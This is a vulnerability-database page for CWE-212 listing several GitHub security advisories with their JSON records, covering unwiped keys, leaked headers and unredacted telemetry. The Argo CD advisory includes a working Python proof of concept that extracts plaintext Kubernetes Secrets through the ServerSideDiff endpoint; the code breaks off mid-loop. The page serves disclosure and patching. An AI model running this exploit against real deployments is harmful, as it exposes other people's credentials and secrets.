CWE-212
AllowedImproper Removal of Sensitive Information Before Storage or Transfer
Abstraction: Base · Status: Incomplete
The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors.
190 vulnerabilities reference this CWE, most recent first.
GHSA-2P2F-PX33-4VV5
Vulnerability from github – Published: 2026-07-14 20:05 – Updated: 2026-07-14 20:05Impact
The web handler renderMobileBundle (internal/web/handlers.go:1325) passes the real *pki.CAResolver directly into mobilebundle.Build. Inside Build (internal/mobilebundle/builder.go:54), resolver.LoadByID decrypts the CA's ed25519 private key into a *pki.CAManager, but Build never calls CAManager.Wipe() on any return path (success or any of the error paths at lines 56, 62, 68, 80, 86, 92, 98, 102, 109, 118, 150).
As a result, when a mobile-bundle request goes through the web UI and Build returns — especially on error (missing network, invalid prefix, DB error, signing failure) — the plaintext CA private key remains on the Go heap, unwiped, until garbage collection. An attacker able to read process memory (core dump, swap, memory-scraping) can recover the CA signing key, which would allow minting arbitrary host certificates for the mesh.
The API handler (internal/api/mobile_bundle.go:74) already does this correctly: it loads the CAManager, defer caMgr.Wipe(), and wraps it in caManagerResolver. Only the web path is affected.
This is the same key-zeroization class previously addressed in GHSA-8h84-fhqq-q58v.
Patches
Add defer caMgr.Wipe() inside mobilebundle.Build immediately after the LoadByID call so every caller (web and API) is protected on all return paths. Ensure CAManager.Wipe() is idempotent, since the API handler also wipes the same manager.
Workarounds
None at the configuration level; requires a code fix.
Resources
internal/web/handlers.go:1325internal/mobilebundle/builder.go:54internal/api/mobile_bundle.go:74(correct reference implementation)- Prior related advisory: GHSA-8h84-fhqq-q58v
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/forgekeep/nebula-mesh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53604"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-316"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:05:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nThe web handler `renderMobileBundle` (`internal/web/handlers.go:1325`) passes the real `*pki.CAResolver` directly into `mobilebundle.Build`. Inside `Build` (`internal/mobilebundle/builder.go:54`), `resolver.LoadByID` decrypts the CA\u0027s ed25519 private key into a `*pki.CAManager`, but `Build` never calls `CAManager.Wipe()` on any return path (success or any of the error paths at lines 56, 62, 68, 80, 86, 92, 98, 102, 109, 118, 150).\n\nAs a result, when a mobile-bundle request goes through the **web** UI and `Build` returns \u2014 especially on error (missing network, invalid prefix, DB error, signing failure) \u2014 the plaintext CA private key remains on the Go heap, unwiped, until garbage collection. An attacker able to read process memory (core dump, swap, memory-scraping) can recover the CA signing key, which would allow minting arbitrary host certificates for the mesh.\n\nThe **API** handler (`internal/api/mobile_bundle.go:74`) already does this correctly: it loads the `CAManager`, `defer caMgr.Wipe()`, and wraps it in `caManagerResolver`. Only the web path is affected.\n\nThis is the same key-zeroization class previously addressed in GHSA-8h84-fhqq-q58v.\n\n## Patches\n\nAdd `defer caMgr.Wipe()` inside `mobilebundle.Build` immediately after the `LoadByID` call so every caller (web and API) is protected on all return paths. Ensure `CAManager.Wipe()` is idempotent, since the API handler also wipes the same manager.\n\n## Workarounds\n\nNone at the configuration level; requires a code fix.\n\n## Resources\n\n- `internal/web/handlers.go:1325`\n- `internal/mobilebundle/builder.go:54`\n- `internal/api/mobile_bundle.go:74` (correct reference implementation)\n- Prior related advisory: GHSA-8h84-fhqq-q58v",
"id": "GHSA-2p2f-px33-4vv5",
"modified": "2026-07-14T20:05:38Z",
"published": "2026-07-14T20:05:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-2p2f-px33-4vv5"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/commit/1f1ab9aa8472239763d967e3d50a3cd53a1a79b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/forgekeep/nebula-mesh"
},
{
"type": "WEB",
"url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.3.8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "nebula-mesh: CA private key not zeroized on web mobile-bundle error paths"
}
GHSA-32X6-QVW6-MXJ4
Vulnerability from github – Published: 2022-03-01 22:14 – Updated: 2026-07-20 21:32Impact
Using followRedirects or followRedirectsWith with any of the redirection strategies built into fluture-node 4.0.0 or 4.0.1, paired with a request that includes confidential headers such as Authorization or Cookie, exposes you to a vulnerability where, if the destination server were to redirect the request to a server on a third-party domain, or the same domain over unencrypted HTTP, the headers would be included in the follow-up request and be exposed to the third party, or potential http traffic sniffing.
Patches
The redirection strategies made available in version 4.0.2 automatically redact confidential headers when a redirect is followed across to another origin.
Workarounds
Use a custom redirection strategy via the followRedirectsWith function. The custom strategy can be based on the new strategies available in fluture-node@4.0.2.
References
- This vulnerability was discovered after the announcement of similar vulnerabilities in the
follow-redirectspackage. There is more information there: https://github.com/advisories/GHSA-74fj-2j2h-c42q and https://huntr.dev/bounties/7cf2bf90-52da-4d59-8028-a73b132de0db/ - Fixed in 125e4474f910c1507f8ec3232848626fbc0f55c4 and 0c99bc511533d48be17dc6bfe641f7d0aeb34d77
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fluture-node"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-24719"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212",
"CWE-359",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-01T22:14:57Z",
"nvd_published_at": "2022-03-01T21:15:00Z",
"severity": "LOW"
},
"details": "### Impact\n\nUsing `followRedirects` or `followRedirectsWith` with any of the redirection strategies built into fluture-node 4.0.0 or 4.0.1, paired with a request that includes confidential headers such as Authorization or Cookie, exposes you to a vulnerability where, if the destination server were to redirect the request to a server on a third-party domain, or the same domain over unencrypted HTTP, the headers would be included in the follow-up request and be exposed to the third party, or potential http traffic sniffing.\n\n### Patches\n\nThe redirection strategies made available in version 4.0.2 automatically redact confidential headers when a redirect is followed across to another origin.\n\n### Workarounds\n\nUse a custom redirection strategy via the `followRedirectsWith` function. The custom strategy can be based on the new strategies available in fluture-node@4.0.2.\n\n### References\n\n- This vulnerability was discovered after the announcement of similar vulnerabilities in the `follow-redirects` package. There is more information there: https://github.com/advisories/GHSA-74fj-2j2h-c42q and https://huntr.dev/bounties/7cf2bf90-52da-4d59-8028-a73b132de0db/\n- Fixed in 125e4474f910c1507f8ec3232848626fbc0f55c4 and 0c99bc511533d48be17dc6bfe641f7d0aeb34d77",
"id": "GHSA-32x6-qvw6-mxj4",
"modified": "2026-07-20T21:32:20Z",
"published": "2022-03-01T22:14:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fluture-js/fluture-node/security/advisories/GHSA-32x6-qvw6-mxj4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24719"
},
{
"type": "WEB",
"url": "https://github.com/psf/requests/pull/4718"
},
{
"type": "WEB",
"url": "https://github.com/fluture-js/fluture-node/commit/0c99bc511533d48be17dc6bfe641f7d0aeb34d77"
},
{
"type": "WEB",
"url": "https://github.com/fluture-js/fluture-node/commit/125e4474f910c1507f8ec3232848626fbc0f55c4"
},
{
"type": "PACKAGE",
"url": "https://github.com/fluture-js/fluture-node"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyquest/PYSEC-2022-43051.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/request-util/PYSEC-2022-43052.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Forwarding of confidentials headers to third parties in fluture-node"
}
GHSA-3GH4-CGHQ-F8V4
Vulnerability from github – Published: 2026-10-08 17:16 – Updated: 2026-10-08 17:16Summary
Pydantic AI's OpenTelemetry instrumentation supports InstrumentationSettings(include_content=False) to exclude message content — user prompts, model completions, tool call arguments and responses — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend.
Retry prompts — the feedback messages Pydantic AI sends back to the model when its output fails validation or an output validator raises ModelRetry — were not covered by this setting when they were not associated with a tool call, as with structured output modes that don't use tool calls (e.g. NativeOutput or PromptedOutput) and output validators applied to text output. Their full content was recorded on model request spans even with include_content=False. Since validation feedback can quote invalid values from the model's response, message content that the setting was configured to withhold could reach the telemetry backend.
Details
Retry prompts without an associated tool call were serialized into span message attributes (such as gen_ai.input.messages and pydantic_ai.all_messages) as regular text parts, and this path did not apply the include_content check that every other message part applies. Retry prompts tied to a tool call, and all other message content, were redacted correctly.
Impact
This does not grant an attacker any new access to the agent or its data: the content is only visible to whoever can read the exported telemetry. The exposure matters when traces are exported to a destination whose audience is broader or less trusted than the agent's own data — a third-party observability vendor or a shared backend — which is the scenario include_content=False exists for. The disclosed content is limited to retry feedback: validation error details, which can quote invalid values from the model's output, or output-validator ModelRetry messages.
Who Is Affected
You are affected if you enabled instrumentation with include_content=False and your agent can produce retry prompts outside of tool calls: it uses a structured output mode that doesn't rely on tool calls (such as NativeOutput or PromptedOutput), or output validators on text output. You are not affected if you don't set include_content=False, or if all of your agent's retries come from tool calls (including the default tool-based structured output mode), which were redacted correctly.
Remediation
Upgrade to a patched version; retry prompt content now honors include_content=False like all other message content. If you rely on this setting, consider reviewing previously exported traces for retry prompt content that should not have been recorded.
Workaround for Unpatched Versions
If you cannot upgrade, scrub or drop the message attributes (gen_ai.input.messages, gen_ai.output.messages, pydantic_ai.all_messages) in your telemetry pipeline (for example with an OpenTelemetry Collector processor), or use tool-based structured output modes, whose retry feedback honors include_content=False.
Credits
Reported privately by the University of Sydney Security Research Team (Liyi Zhou, Ziyue Wang, Strick, Maurice, Chenchen Yu), and later independently discovered and reported publicly, with a fix, by @sean-kim05.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.4"
},
{
"fixed": "1.107.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.27.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.4"
},
{
"fixed": "1.107.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "pydantic-ai-slim"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0b1"
},
{
"fixed": "2.27.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107293"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:16:32Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nPydantic AI\u0027s OpenTelemetry instrumentation supports `InstrumentationSettings(include_content=False)` to exclude message content \u2014 user prompts, model completions, tool call arguments and responses \u2014 from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend.\n\nRetry prompts \u2014 the feedback messages Pydantic AI sends back to the model when its output fails validation or an output validator raises `ModelRetry` \u2014 were not covered by this setting when they were not associated with a tool call, as with structured output modes that don\u0027t use tool calls (e.g. `NativeOutput` or `PromptedOutput`) and output validators applied to text output. Their full content was recorded on model request spans even with `include_content=False`. Since validation feedback can quote invalid values from the model\u0027s response, message content that the setting was configured to withhold could reach the telemetry backend.\n\n### Details\n\nRetry prompts without an associated tool call were serialized into span message attributes (such as `gen_ai.input.messages` and `pydantic_ai.all_messages`) as regular text parts, and this path did not apply the `include_content` check that every other message part applies. Retry prompts tied to a tool call, and all other message content, were redacted correctly.\n\n### Impact\n\nThis does not grant an attacker any new access to the agent or its data: the content is only visible to whoever can read the exported telemetry. The exposure matters when traces are exported to a destination whose audience is broader or less trusted than the agent\u0027s own data \u2014 a third-party observability vendor or a shared backend \u2014 which is the scenario `include_content=False` exists for. The disclosed content is limited to retry feedback: validation error details, which can quote invalid values from the model\u0027s output, or output-validator `ModelRetry` messages.\n\n### Who Is Affected\n\nYou are affected if you enabled instrumentation with `include_content=False` and your agent can produce retry prompts outside of tool calls: it uses a structured output mode that doesn\u0027t rely on tool calls (such as `NativeOutput` or `PromptedOutput`), or output validators on text output. You are not affected if you don\u0027t set `include_content=False`, or if all of your agent\u0027s retries come from tool calls (including the default tool-based structured output mode), which were redacted correctly.\n\n### Remediation\n\nUpgrade to a patched version; retry prompt content now honors `include_content=False` like all other message content. If you rely on this setting, consider reviewing previously exported traces for retry prompt content that should not have been recorded.\n\n### Workaround for Unpatched Versions\n\nIf you cannot upgrade, scrub or drop the message attributes (`gen_ai.input.messages`, `gen_ai.output.messages`, `pydantic_ai.all_messages`) in your telemetry pipeline (for example with an OpenTelemetry Collector processor), or use tool-based structured output modes, whose retry feedback honors `include_content=False`.\n\n### Credits\n\nReported privately by the University of Sydney Security Research Team (Liyi Zhou, Ziyue Wang, Strick, Maurice, Chenchen Yu), and later independently discovered and reported publicly, with a fix, by @sean-kim05.",
"id": "GHSA-3gh4-cghq-f8v4",
"modified": "2026-10-08T17:16:32Z",
"published": "2026-10-08T17:16:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-3gh4-cghq-f8v4"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/pull/7357"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/commit/fe9dbed7b7ccf7e7128b5786886e4441f6f5594f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pydantic/pydantic-ai"
},
{
"type": "WEB",
"url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.27.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pydantic AI OpenTelemetry instrumentation: retry prompt content is not redacted when `include_content=False`"
}
GHSA-3H68-WVV6-8R5H
Vulnerability from github – Published: 2021-12-10 17:20 – Updated: 2021-07-28 18:09The optional initial password change and password expiration features present in Apache Jackrabbit Oak 1.2.0 to 1.22.0 are prone to a sensitive information disclosure vulnerability. The code mandates the changed password to be passed as an additional attribute to the credentials object but does not remove it upon processing during the first phase of the authentication. In combination with additional, independent authentication mechanisms, this may lead to the new password being disclosed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.22.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.jackrabbit:oak-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "1.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.jackrabbit:oak-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0"
},
{
"fixed": "1.10.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-1940"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-29T22:04:32Z",
"nvd_published_at": "2020-01-28T17:15:00Z",
"severity": "HIGH"
},
"details": "The optional initial password change and password expiration features present in Apache Jackrabbit Oak 1.2.0 to 1.22.0 are prone to a sensitive information disclosure vulnerability. The code mandates the changed password to be passed as an additional attribute to the credentials object but does not remove it upon processing during the first phase of the authentication. In combination with additional, independent authentication mechanisms, this may lead to the new password being disclosed.",
"id": "GHSA-3h68-wvv6-8r5h",
"modified": "2021-07-28T18:09:42Z",
"published": "2021-12-10T17:20:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1940"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3da8e2fd253ecd4d3a0de71ce255631148b54be8500225b5812f7737@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r45b0e2fb6ac51c5a03952b08b5e0efde1249ecb809884cc87eb0bd99@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r601637e38ee743e845856a4e24915cb8db26ae80ca782bef91989cbc@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ra295f919586b19def7cc7713d9d78595507d5f703362fccb779eeeb9@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ra6b3e78f5ed545c1d859d664f66c6d3fc5d731d9b1d842349654e4f0@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb3023cfd45441b570c1abaa347d0cac78df97b5d3f27d674d01b3d2a@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rba884dbe733781cbaaffa28b77bc37a6a9f948b3a72a1bdad5e1587c@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbef4701b5ce4d827182e70ad7b4d987a9157682ba3643e05a9ef5a7b@%3Ccommits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc35a57ecdeae342d46f729d6bc9750ba860c101f450cc171798dba28@%3Coak-commits.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rccc0ed467faa35734ea16b8f5de5603e708936c41a4eddd90fddeaf0%40%3Cusers.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rccc0ed467faa35734ea16b8f5de5603e708936c41a4eddd90fddeaf0@%3Cannounce.jackrabbit.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2020/01/28/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Removal of Sensitive Information Before Storage or Transfer in Apache Jackrabbit Oak"
}
GHSA-3HPJ-266F-M43F
Vulnerability from github – Published: 2023-03-28 00:34 – Updated: 2023-04-03 18:32A flaw that boot CPU could be vulnerable for the speculative execution behavior kind of attacks in the Linux kernel X86 CPU Power management options functionality was found in the way user resuming CPU from suspend-to-RAM. A local user could use this flaw to potentially get unauthorized access to some memory of the CPU similar to the speculative execution behavior kind of attacks.
{
"affected": [],
"aliases": [
"CVE-2023-1637"
],
"database_specific": {
"cwe_ids": [
"CWE-212",
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-27T22:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw that boot CPU could be vulnerable for the speculative execution behavior kind of attacks in the Linux kernel X86 CPU Power management options functionality was found in the way user resuming CPU from suspend-to-RAM. A local user could use this flaw to potentially get unauthorized access to some memory of the CPU similar to the speculative execution behavior kind of attacks.",
"id": "GHSA-3hpj-266f-m43f",
"modified": "2023-04-03T18:32:05Z",
"published": "2023-03-28T00:34:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1637"
},
{
"type": "WEB",
"url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e2a1256b17b16f9b9adf1b6fea56819e7b68e463"
},
{
"type": "WEB",
"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=27398"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3P9P-8J59-V9H3
Vulnerability from github – Published: 2026-07-21 06:31 – Updated: 2026-07-21 06:31A vulnerability was found in kronosnet's (version <=1.34) cryptographic configuration management. The framework does not correctly zero-out or wipe sensitive memory segments after executing changes to its cryptographic configuration. This omission leaves raw encryption keys resident in memory after the associated structures are freed. A local attacker capable of leveraging memory disclosure techniques could exploit this flaw to retrieve the active encryption key, allowing them to decrypt cluster network communications or inject malicious packets to cause severe high-availability cluster instability.
{
"affected": [],
"aliases": [
"CVE-2026-15811"
],
"database_specific": {
"cwe_ids": [
"CWE-212"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T06:16:28Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in kronosnet\u0027s (version \u003c=1.34) cryptographic configuration management. The framework does not correctly zero-out or wipe sensitive memory segments after executing changes to its cryptographic configuration. This omission leaves raw encryption keys resident in memory after the associated structures are freed. A local attacker capable of leveraging memory disclosure techniques could exploit this flaw to retrieve the active encryption key, allowing them to decrypt cluster network communications or inject malicious packets to cause severe high-availability cluster instability.",
"id": "GHSA-3p9p-8j59-v9h3",
"modified": "2026-07-21T06:31:18Z",
"published": "2026-07-21T06:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15811"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-15811"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500849"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-3V3M-WC6V-X4X3
Vulnerability from github – Published: 2026-05-07 01:56 – Updated: 2026-05-11 13:30Summary
There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.
Details
Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:
// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
TargetState: string(diffRes.PredictedLive),
LiveState: string(diffRes.NormalizedLive),
})
A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:
if o.ignoreMutationWebhook {
predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)
}
The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.
When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:
kubectl apply --server-side --dry-run=server --field-manager=argocd-controller
For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.
PoC
#!/usr/bin/env python3
"""
Argo CD ServerSideDiff Secret Extraction PoC
Usage:
python3 poc.py <host> <token> <app> <project>
Example:
python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project
"""
import base64
import http.client
import json
import ssl
import struct
import sys
import urllib.parse
from collections import defaultdict
def encode_varint(v):
out = []
while v > 0x7f:
out.append((v & 0x7f) | 0x80)
v >>= 7
out.append(v & 0x7f)
return bytes(out)
def encode_str(field, val):
tag = (field << 3) | 2
raw = val.encode()
return encode_varint(tag) + encode_varint(len(raw)) + raw
def encode_bytes(field, val):
tag = (field << 3) | 2
return encode_varint(tag) + encode_varint(len(val)) + val
def encode_bool(field, val):
tag = (field << 3) | 0
return encode_varint(tag) + encode_varint(1 if val else 0)
def decode_varint(data, pos):
val, shift = 0, 0
while pos < len(data):
b = data[pos]; pos += 1
val |= (b & 0x7f) << shift; shift += 7
if not (b & 0x80):
break
return val, pos
def decode_fields(data):
fields = defaultdict(list)
pos = 0
while pos < len(data):
tag, pos = decode_varint(data, pos)
wtype = tag & 0x07
if wtype == 0:
val, pos = decode_varint(data, pos)
fields[tag >> 3].append(val)
elif wtype == 2:
length, pos = decode_varint(data, pos)
fields[tag >> 3].append(data[pos:pos + length])
pos += length
elif wtype == 5:
fields[tag >> 3].append(data[pos:pos + 4]); pos += 4
elif wtype == 1:
fields[tag >> 3].append(data[pos:pos + 8]); pos += 8
else:
break
return dict(fields)
# -- grpc-web framing --
def grpc_frame(payload):
return b"\x00" + struct.pack(">I", len(payload)) + payload
def decode_grpc_frames(data):
frames, pos = [], 0
while pos + 5 <= len(data):
flag = data[pos]
length = struct.unpack(">I", data[pos+1:pos+5])[0]
pos += 5
frames.append((flag, data[pos:pos+length]))
pos += length
return frames
# -- http helpers --
def make_conn(host):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)
def rest_get(conn, path, token):
conn.request("GET", path, headers={
"Authorization": "Bearer " + token,
"Accept": "application/json",
})
resp = conn.getresponse()
body = resp.read()
if resp.status != 200:
return None, "HTTP %d" % resp.status
return json.loads(body), None
def grpc_post(conn, token, payload):
conn.request("POST", "/application.ApplicationService/ServerSideDiff",
body=grpc_frame(payload), headers={
"Content-Type": "application/grpc-web+proto",
"Accept": "application/grpc-web+proto",
"X-Grpc-Web": "1",
"Authorization": "Bearer " + token,
})
resp = conn.getresponse()
raw = resp.read()
if resp.status != 200:
return None, "HTTP %d" % resp.status
frames = decode_grpc_frames(raw)
for flag, fdata in frames:
if flag == 0:
return fdata, None
return None, "no data frame in response"
# -- main --
def main():
if len(sys.argv) != 5:
print("Usage: python3 poc.py <host> <token> <app> <project>")
sys.exit(1)
host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
conn = make_conn(host)
# step 1: list managed resources for the app, find secrets
print("[*] Fetching managed resources for %s/%s ..." % (project, app_name))
data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(app_name), token)
if err:
print("[-] Failed: %s" % err); sys.exit(1)
secrets = []
for r in data.get("items", []):
if r.get("kind") != "Secret":
continue
name = r.get("name", "")
ns = r.get("namespace", "")
live = r.get("liveState", "")
stype = "Opaque"
if live and live != "null":
try:
stype = json.loads(live).get("type", "Opaque")
except Exception:
pass
secrets.append((name, ns, stype, live))
if not secrets:
print("[-] No secrets found in managed resources"); sys.exit(0)
print("[+] Found %d secrets" % len(secrets))
# step 2: call ServerSideDiff for each secret
total_extracted = 0
for sname, sns, stype, live_json in secrets:
# build minimal target manifest (no data field)
target = {"apiVersion": "v1", "kind": "Secret",
"metadata": {"name": sname, "namespace": sns},
"type": stype}
# copy required annotations from live state for SA tokens
if live_json and live_json != "null":
try:
live_annots = json.loads(live_json).get("metadata", {}).get("annotations", {})
k8s_annots = {k: v for k, v in live_annots.items() if k.startswith("kubernetes.io/")}
if k8s_annots:
target["metadata"]["annotations"] = k8s_annots
except Exception:
pass
# for TLS secrets, include required placeholder keys
if stype == "kubernetes.io/tls":
target["data"] = {
"tls.crt": base64.b64encode(b"PLACEHOLDER").decode(),
"tls.key": base64.b64encode(b"PLACEHOLDER").decode(),
}
elif stype == "kubernetes.io/dockerconfigjson":
target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}
# encode the grpc request
lr = b""
lr += encode_str(2, "Secret") # kind
lr += encode_str(3, sns) # namespace
lr += encode_str(4, sname) # name
if live_json:
lr += encode_str(6, live_json) # liveState
lr += encode_bool(12, True) # modified
query = encode_str(1, app_name)
query += encode_str(3, project)
query += encode_bytes(4, lr)
query += encode_str(5, json.dumps(target))
# reconnect for each call (simple, no pool needed for poc)
try:
conn = make_conn(host)
resp_data, err = grpc_post(conn, token, query)
except Exception as e:
print(" [!] %s/%s: %s" % (sns, sname, e))
continue
if err:
print(" [!] %s/%s: %s" % (sns, sname, err))
continue
# parse response
resp_fields = decode_fields(resp_data)
for item_bytes in resp_fields.get(1, []):
if not isinstance(item_bytes, bytes):
continue
ifields = decode_fields(item_bytes)
# field 5 = targetState (predictedLive — has real values from etcd)
for raw in ifields.get(5, []):
if not isinstance(raw, bytes):
continue
try:
obj = json.loads(raw)
except Exception:
continue
if obj.get("kind") != "Secret":
continue
secret_data = obj.get("data", {})
if not secret_data:
continue
# check for real (non-masked) values
real_keys = {}
for k, v in secret_data.items():
if not v:
